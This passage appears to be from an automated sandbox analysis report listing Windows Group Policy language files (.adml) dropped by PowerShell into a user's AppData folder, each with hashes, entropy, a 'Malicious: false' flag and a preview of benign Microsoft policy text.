SHA-512:	11A2FB546E64CA105CE63E313FCDDE0950939C5981BEEC4D04CEB0C0C43EB573CC3C5444E71BBD12AD04A902CB4D3FC7C41EB4E9BA601232041716CEE0835622
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Digitalx_DiableApplication_TitleText">Do not allow Digital Locker to run</string>.. <string id="Digitalx_DisableApplication_DescriptionText">Specifies whether Digital Locker can run.....Digital Locker is a dedicated download manager associated with Windows Marketplace and a feature of Windows that can be used to manage and download products acquired and stored in the user's Windows Marketplace Digital Locker.....If you enable this setting, Digital Locker will not run.....If you disable or do not configure this

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\DiskDiagnostic.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (349), with CRLF line terminators
Category:	dropped
Size (bytes):	4016
Entropy (8bit):	4.799918196062888
Encrypted:	false
SSDEEP:	96:LeD5pmNIlyc4TNq1nCsXGT1fnC7SqnBU+l4vnjzyJ1nCsXGT1fnWmoV:EeIlyc4TN0psngSUG+l4vnjzy3psnWP
MD5:	98FB5567E5194E5E7430C553FD07EE50
SHA1:	9CD9DE9B3E9FAD928DCBB73225B7F77B21D7F532
SHA-256:	3EE2D33B8C14490D4315F669873B1E4747EF4C99CF83CB3214FBE02774DF322D
SHA-512:	2DC8749CB1E401E4A7753933861081D80AB9D11D349730289E36FD59EF3F76CFCE63AC71864B7239C05CFAD12F89D7991F1AA79E78751F926A941F82EADD23C3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. BEGIN: Custom supportedOn strings -->.. <string id="SUPPORTED_WindowsLonghornServerDesktopExperienceOrVista">.. Windows Server 2008 with Desktop Experience installed or Windows Vista.. </string>.. END: Custom supportedOn strings -->.. <string id="DfdAlertPolicy">Disk Diagnostic: Configure custom alert text</string>.. <string id="DfdAlertPolicyExplain">This policy setting substitutes custom alert text in the disk diagnostic message shown to users when a disk reports a S.M.A.R.T. f

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\DiskNVCache.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (552), with CRLF line terminators
Category:	dropped
Size (bytes):	4247
Entropy (8bit):	4.68691343915682
Encrypted:	false
SSDEEP:	96:LeD5pm+vfC9KJ5V/MztbEUiTKD48mRCjme9E5J9eWFV:EJN/MdEUiTKs8mwM8Wn
MD5:	74FF3350EF82B0E11EF64C762CF28BE3
SHA1:	8D7BB871CC583EB03E3E104FDC50FCBC974527EB
SHA-256:	D94738C802A64BDA9CCA3947096A97B4DAC05730BD55441ED552595422103A9F
SHA-512:	0729601AD1E861F7DA3E39ECC3878A37AFA3E37C92924446B28FA6BDFB4189D024B7F4E5CE0BF29FE4EB3B51DFA98FE07B7A560DDC521FBDAB4E50EA6C6160C2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="BootResumePolicy">Turn off boot and resume optimizations</string>.. <string id="BootResumePolicyHelp">This policy setting turns off the boot and resume optimizations for the hybrid hard disks in the system.....If you enable this policy setting, the system does not use the non-volatile (NV) cache to optimize boot and resume.....If you disable this policy setting, the system uses the NV cache to achieve faster boot and resume. The system determines the data that will be stored in the NV cache to optimize boot an

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\DiskQuota.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (382), with CRLF line terminators
Category:	dropped
Size (bytes):	9312
Entropy (8bit):	4.685669628790155
Encrypted:	false
SSDEEP:	96:LeD5pmUA7x7OOWbm7kiE7EC/8GxKU0zOZqIc5fKSuBGfvbKqbKJajDrSy5G+YGmI:EOpKz98U0CgfKSFnWqBXrjksmw03Tja
MD5:	40CA6688DCC63C37ADC92B8CE44A47E1
SHA1:	584E5E4433F642B09081A68167436F41D3615867
SHA-256:	9EA35D39FAB49421022E213BE5B8A66404B41BEB2202E17C94BF557FB8C349C4
SHA-512:	7711A24BE790431495051BAE7DA407FA961748374C0936CB49FD4F421425C4D92458C5F8E2C356E70923EB91D0DE100D6EB7F401D2EF03A18DD590F7FEF8314A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DiskQuota">Disk Quotas</string>.. <string id="DQ_Enable">Enable disk quotas</string>.. <string id="DQ_Enable_Help">This policy setting turns on and turns off disk quota management on all NTFS volumes of the computer, and prevents users from changing the setting.....If you enable this policy setting, disk quota management is turned on, and users cannot turn it off.....If you disable the policy setting, disk quota management is turned off, and users cannot turn it on.....If this policy setting is not config

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\DistributedLinkTracking.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (575), with CRLF line terminators
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.961559763430255
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yQJmjI7JMHkJNMLsDe7MBMZc1zcqoFV:cgeD5x8gm8fKxmEPnMLkeKMokFV
MD5:	8B49ABCA606DF290D14944330F11A796
SHA1:	5FD7496C8553485972A7B35E75386A0CB98199AF
SHA-256:	25D3882376CC864E14BF8CBD16065971C8C5F1C88FCEF7C60B4213604F893272
SHA-512:	F7C3B0CE37F00F281DCDF46A421295D2CD79298852B2302624CD4AFD27EED160FFB4B9003C2096851DD884E8708000282D55876CFC1FA853DCB437FA65D3F8F3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DLT_AllowDomainMode">Allow Distributed Link Tracking clients to use domain resources</string>.. <string id="DLT_AllowDomainMode_Explain">Specifies that Distributed Link Tracking clients in this domain may use the Distributed Link Tracking (DLT) server, which runs on domain controllers. The DLT client enables programs to track linked files that are moved within an NTFS volume, to another NTFS volume on the same computer, or to an NTFS volume on another computer. The DLT client can more reliably track links

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\DnsClient.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (896), with CRLF line terminators
Category:	dropped
Size (bytes):	31344
Entropy (8bit):	4.717542963262439
Encrypted:	false
SSDEEP:	384:zlbkZcHOReR932i5D5Zbng2C5stOeoXYaYENfOenLtWeoXYaYENfwleyLLhbxEHq:u5XYlXYfleQlnzmW
MD5:	7B88F32185E7AEE9D215D367F531C628
SHA1:	086E5D851CBD967E907A54539DA3DE95F2F53916
SHA-256:	A60EA72F20C54DC7362CB26A10970B4BEDAC5E257E20317BD2CACA1E289DB08D
SHA-512:	70CF1A3642D0C6D6866B713DE7A52857CB550C6490B8C62A9605BEFE3811525C3081DCE9DE9F881C361FE88694C256EB03EA168FD489BE9CB0AC48AE4F244BAE
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DNS_Client">DNS Client</string>.. <string id="DNS_Domain">Connection-specific DNS suffix</string>.. <string id="DNS_Domain_Help">Specifies a connection-specific DNS suffix. This policy setting supersedes local connection-specific DNS suffixes, and those configured using DHCP.....To use this policy setting, click Enabled, and then enter a string value representing the DNS suffix.....If you enable this policy setting, the DNS suffix that you enter will be applied to all network connections used by computers

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\EAIME.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7775
Entropy (8bit):	4.801945943527714
Encrypted:	false
SSDEEP:	192:Els7BYDGrS9SqHBf0IpqGKJkPsmcjtJiANpyhSz9zxbBiy:A0bMsBHiANpyh89zxbl
MD5:	A2F0FA1F7B955635BAEF6D42E1019FAD
SHA1:	52F10ED5BB525A53AD000BAB3D0AD3A8CC696CB9
SHA-256:	F54FFC98753D1F03710F912F456B1639B18EC692D2E41FF529A79C5BA8A38B8B
SHA-512:	1BB3F4D5A8895C0AA0373E6EBA93636B022BB9709DE40408C46924664A63390593B386EF5A3968F0DBA8DB31F02AFB20455C7AAB95E2498DEB466E89C335D0D9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="L_IME">IME</string>.. <string id="L_TurnOnMisconversionLoggingForMisconversionReport">Turn on misconversion logging for misconversion report</string>.. <string id="L_TurnOnMisconversionLoggingForMisconversionReportExplain">This policy setting allows you to turn on logging of misconversion for the misconversion report.....If you enable this policy setting, misconversion logging is turned on.....If you disable or do not configure this policy setting, misconversion logging is turned off. ....This policy sett

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\EarlyLaunchAM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (335), with CRLF line terminators
Category:	dropped
Size (bytes):	2537
Entropy (8bit):	4.7263609685346974
Encrypted:	false
SSDEEP:	48:yafKUwDTjsFQCzwDNgVC2G1KJzDD8xr2rZkwJXW2V:yuujKQCzwDWC2G1wzDQr2rZkaV
MD5:	75AAE2A1219696C7D046F25DA1C331B8
SHA1:	0E20307FC43CECFD876B2A03CE998204A4A9D932
SHA-256:	5A5BAD4A99052A7DFFAD794A712F606F4421D0323AF8BA4121BB02034C917C1C
SHA-512:	18DE3563DB066BB209792A31096B0B98BDF8C2BFE9BBE077D9F2443513F60D3896ACECA4362D26F08F1CF43E3E37EEE242D2E608958E0CFF2136DA65A9B1AB46
Malicious:	false
Preview:	<policyDefinitionResources revision="1.0" schemaVersion="1.0">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ELAMCategory">Early Launch Antimalware</string>.. <string id="POL_DriverLoadPolicy_Name">Boot-Start Driver Initialization Policy</string>.. <string id="POL_DriverLoadPolicy_Name_Help">This policy setting allows you to specify which boot-start drivers are initialized based on a classification determined by an Early Launch Antimalware boot-start driver. The Early Launch Antimalware boot-start driver can return the following classifications for each boot-start driver:..- Good: The driver has been signed and has not been tampered with...- Bad: The driver has been identified as malware. It is recommended that you do not allow known bad drivers to be initialized...- Bad, but required for boot: The driver has been identified as malware, but the computer cannot

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\EdgeUI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4475
Entropy (8bit):	4.731397984218957
Encrypted:	false
SSDEEP:	48:cs+D5x8gm8fK0QfhWpiSbXFNWf7DwirbOgSuvmrIvZZsSuvLD49MCD49Ms+qDxsL:P+D5pmYYh7SeDDrbQUCMOZxq0/tWFV
MD5:	47245202B642C2B6443C63A220226B22
SHA1:	6C3DEDBC58314BF1EDCA6EA0D8161E80B8013B1D
SHA-256:	59B4266A7E379E4047910594D63B44F4A251684A3C97F74CC16585B2779871AD
SHA-512:	4470B0A9568B88965C077F8690BB48BEA88D15A148F2C402D47C17EBB6F52BFB1194FB4B0C328E22DC3772FEF38DCF4E0D33FC966312CAFDFCFA1D0F2539D7E8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2011 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="EdgeUI">Edge UI</string>.. <string id="EdgeUI_Help">Contains settings related to system user interfaces attached to the screen edges.</string>.. <string id="TurnOffBackstack">Turn off switching between recent apps</string>.. <string id="TurnOffBackstack_Help">If you enable this setting, users will not be allowed to switch between recent apps. The App Switching option in the PC settings app will be disabled as well.....If you disable or do not configure this policy setting, users will be allowed to sw

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\EncryptFilesonMove.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1260
Entropy (8bit):	4.910898508580554
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ykJvSmJjbLgn7OL2dOrL0ZFp4D/FV:cgeD5x8gm8fKvJDJ074rFV
MD5:	F09A4E370D3321A61FC7456B9A007360
SHA1:	58E0F3E0213B3FF00E2C6694D6A0D3A71D9DE55E
SHA-256:	E32ECF04721C0695C125F1F8E3ECC0ED14179FC85045C1C44C0D4CCDAA74D085
SHA-512:	0BEB4C675E79A2234CAD73F0ADBCAE49B7ED4CD8F62BD6DAC0985EB4C9DBF7C3387B2CEB74C67C2D0052287FD436BECF8D415D22ED72AAB7B296E15C9DFEFECC
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="NoEncryptOnMove">Do not automatically encrypt files moved to encrypted folders</string>.. <string id="NoEncryptOnMove_Help">This policy setting prevents File Explorer from encrypting files that are moved to an encrypted folder.....If you enable this policy setting, File Explorer will not automatically encrypt files that are moved to an encrypted folder.....If you disable or do not configure this policy setting, File Explorer automatically encrypts files that are moved to an encrypted folder.....This setting ap

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\ErrorReporting.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (790), with CRLF line terminators
Category:	dropped
Size (bytes):	30768
Entropy (8bit):	4.691623979168484
Encrypted:	false
SSDEEP:	384:hAUh6Hw6B8HwwHhZK3KwrQGj4UQ6ic6jKqBO1Mck1S:hAU8MwwHnwiUQXro
MD5:	8AB1308CBA6530C458F432AB454C3070
SHA1:	099E6CF6F6108281974B2992B3B40E0AED58A994
SHA-256:	0E087D6F548B2CDBF2C2EA12CE78DC4F8B9D1A4979AE6FD955CAC4D350AAFABD
SHA-512:	C19FDEC863339CB92AF86EE3C2244A13E330B4641241A693D1BD61128AB3A13076652AAD0AC8EB8D757760437311CB12CD94D43AC947CE0361EEA7E8DC99E60D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Windows Error Reporting</displayName>.. <description>Windows Error Reporting</description>.. <resources>.. <stringTable>.. <string id="CAT_WindowsErrorReporting">Windows Error Reporting</string>.. <string id="CAT_WindowsErrorReportingAdvanced">Advanced Error Reporting Settings</string>.. <string id="CAT_WindowsErrorReportingConsent">Consent</string>.. <string id="PCH_AllOrNoneDef">Default application reporting settings</string>.. <string id="PCH_AllOrNoneDef_Exclude">Do not report any application errors</string>.. <string id="PCH_AllOrNoneDef_Help">This policy setting controls whether errors in general applications are in

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\EventForwarding.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2548
Entropy (8bit):	4.859559586253688
Encrypted:	false
SSDEEP:	24:3KbFDiCUSNsojnPFc9QABiRop6FkY060S9vEWmwlCXFfD1ui/5asx6g7wGuVmoeV:65DySNPjPuSRopa0i8tFBnBrhwGZoeV
MD5:	0A764BB7FD1C2BC83CBBA71BDC3F8EB0
SHA1:	A7234960D73C854F981680AD4691ACCC5E3F2024
SHA-256:	EF69C13304DBA64691227AC0C87F03C89120BEB6003722C43E390BDA572331AD
SHA-512:	0F5E549755270FD2E40669321F4E69581BBCB79CE7D905BB6E95E9251C10B76681C6ED19BA623D17C8AD56DD39A6D0104BE60DD0B5FE8045BC4EB8217ED4E772
Malicious:	false
Preview:	<?xml version="1.0"?>..<policyDefinitionResources revision="1.0" schemaVersion="1.0">...<displayName>Event Forwarding</displayName>.....<description>Policy Definitions For Event Forwarding</description>.....<resources>......<stringTable>.......<string id="EventForwarding">Event Forwarding</string>.... <string id="ForwarderResourceUsage">Configure forwarder resource usage</string>.. <string id="ForwarderResourceUsage_Help">This policy setting controls resource usage for the forwarder (source computer) by controlling the events/per second sent to the Event Collector.....If you enable this policy setting, you can control the volume of events sent to the Event Collector by the source computer. This may be required in high volume environments.....If you disable or do not configure this policy setting, forwarder resource usage is not specified.....This setting applies across all subscriptions for the forwarder (source computer).</string>.. .....<

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\EventLog.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	7756
Entropy (8bit):	4.821366715902771
Encrypted:	false
SSDEEP:	192:EuPOfDUFRKtm/P2R7gHzBwRTLfdpSJlIau:bPOfA+g2RCudH
MD5:	B58D99D32DF6E1076E976FA8ABC3EEEA
SHA1:	4AB6E78ECDC35F98D09AE29B0D7C8D9AB19A91FD
SHA-256:	2863EF5940EC4685D1CF61891191647CE435F325720BC9626A0F2214F56E6EC9
SHA-512:	9A0FF4D6D9BB1A53F01A24DD946945CAB0D4A48053035A8435B4CFB0DCF7690C0CC418E72911FCFBA8379617D328253C236F307F62D1627B0087747816D6AAFE
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Channel_Log_AutoBackup">Back up log automatically when full</string>.. <string id="Channel_Log_AutoBackup_Help">This policy setting controls Event Log behavior when the log file reaches its maximum size and takes effect only if the "Retain old events" policy setting is enabled.....If you enable this policy setting and the "Retain old events" policy setting is enabled, the Event Log file is automatically closed and renamed when it is full. A new file is then started.....If you disable this policy setting and th

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\EventViewer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2368
Entropy (8bit):	4.905404060928818
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yQHXEjH4Mj1Zy3snm5R0mM/CJ4tFOmBXOm70oV:cgeD5x8gm8fKI/szB4tFZUoV
MD5:	45EB132CB1F927D22C54EC385A552153
SHA1:	634D98CB8F8BFE12E9CD19CD4764DFCF134CC011
SHA-256:	8911189FB55D6DE6DA90E3ED57336AA7F2323520CF2719CED2E91B76B4AB085D
SHA-512:	32ECD99085199B267FEA70CA5363DFF1270BC083107E80368FD7F48C69E8646078ACFFA3206692CF3F2BF447D4EBB5BBB251F32F1DD712927F836F5751FF47AF
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="EventViewer">Event Viewer</string>.. <string id="EventViewer_RedirectionProgram">Events.asp program</string>.. <string id="EventViewer_RedirectionProgram_Help">This is the program that will be invoked when the user clicks the events.asp link.</string>.. <string id="EventViewer_RedirectionProgramCommandLineParameters">Events.asp program command line parameters</string>.. <string id="EventViewer_RedirectionProgramCommandLineParameters_Help">This specifies the command line parameters that will be p

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Explorer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (311), with CRLF line terminators
Category:	dropped
Size (bytes):	4363
Entropy (8bit):	4.775276168335737
Encrypted:	false
SSDEEP:	96:LeD5pmUZsDKU5h9ERZR2s0vJVu2MNFBBzUysV:EpZsDx9g0vJVBMNXBzi
MD5:	B8789197191F1A2C461797C595FD8415
SHA1:	DDCB4910A18C318E8E90CF29A92FE70ADFDB20EE
SHA-256:	6CBA67BF6D239FA46E6F2566F1F8653DCBA053DC828AA731DD768C525AF1BB1D
SHA-512:	D05BF9DE3D8ADD27206F4819283E89533AC83ED97AF159023EF46393B5CAB9D5D95D4C32D15C21A0E895CE3820418D71D29553E420F1ADAE7225AEEEFBE1A91E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AlwaysShowClassicMenu">Display the menu bar in File Explorer </string>.. <string id="AlwaysShowClassicMenu_Help">This policy setting configures File Explorer to always display the menu bar.....Note: By default, the menu bar is not displayed in File Explorer.....If you enable this policy setting, the menu bar will be displayed in File Explorer.....If you disable or do not configure this policy setting, the menu bar will not be displayed in File Explorer.....Note: When the menu bar is not displayed, users can ac

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\ExternalBoot.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2806
Entropy (8bit):	4.897245212995506
Encrypted:	false
SSDEEP:	48:cgeD5x8gmFa0I0aUFxafehoPd7idK6a0WaZP5Zo5Z0fd5Z1zarCaO5ZVwKd5ZUwY:LeD5pmFa0I0a4afIa9aZPMcda2aOSYvY
MD5:	8417153A964B75197B8A08F35D62C381
SHA1:	2A4820E67495FCCC524E72AFAB923803755C9F2B
SHA-256:	F8B25ED02542858011F65AE02EBD1C4A62558EE28B76A281656FCF1A70E772BC
SHA-512:	F1DEC0EA5AA367C94CCE27B71B3412FCE370CFF75DF44CCEA5CA931BB52992B30D252144188DFA93FE9E5EF573419DF8BCAEAE9C5DFBA8936E24C80CBDC4D291
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Portable Workspace</displayName>.. <description>This file contains Portable Workspace policy settings.</description>.. <resources>.. <stringTable>.. <string id="PortableOperatingSystem">Portable Operating System</string>.. <string id="PortableOperatingSystem_Launcher_DisplayName">Windows To Go Default Startup Options</string>.. <string id="PortableOperatingSystem_Launcher_Help">....This policy setting controls whether the PC will boot to Windows To Go if a USB device containing a Windows To Go workspace is connected, and controls whether users can make changes using the Windows To Go Startup Options Control Panel item.....If you enable

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\FileHistory.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	988
Entropy (8bit):	5.031142948192133
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3F6Et8mTc48vzNgW4ZdNHW4fFV:cgeD5x8gm/TagW4Z/HW4fFV
MD5:	76EF9C90CFE65DE37CDBCD4847D584BE
SHA1:	72977FE03FBED6B2FF3C750405CA0838A547471A
SHA-256:	9341A249C8DB566C91BD171482DAA2FAF9D17EF757DB6CBE6829F75D4FCE9492
SHA-512:	2788E014B9335C70D55EBC24139D09C862D3D016B043566A126E2956B53622F443AEE92B5C28BA83B5C670AD03D948BB6D4435B090BFBB992E33DC2F83D01E2F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>File History</displayName>.. <description>File History</description>.. <resources>.. <stringTable>.. <string id="FileHistoryName">File History</string>.. <string id="DisableFileHistory">Turn off File History</string>.. <string id="DisableFileHistory_explanation">This policy setting allows you to turn off File History.....If you enable this policy setting, File History cannot be activated to create regular, automatic backups.....If you disable or do not configure this policy setting, File History can be activated to create regular, automatic backups.</string>.. </stringTable>.. </resources>..</policyDefinitionResources>..

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\FileRecovery.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2975
Entropy (8bit):	4.8069063103068785
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKn8YD6KENYYqgFd67gJDqrq5x0BsYukrtP4XEgV:LeD5pm3D0uWFm2DaqjCswtPeV
MD5:	353E01C633CBAF640B8238C535A4E3BC
SHA1:	0FC2C8473CB1298245F8D2893D796C3B3BEA14EC
SHA-256:	3A5992E2DC42003E6F1547CE4253134CF8C6270DA6F68FCB6E3FA854B07FADE1
SHA-512:	A7BE0B5FF87A6EEBD9A1CCA5F72DF27DD9A1DBEB127ADE55AC80CA10C7A5084EB87ECE4143724E5920057F6E533AE809E551C62E88876CCF8A16FAF8AB8A1358
Malicious:	false
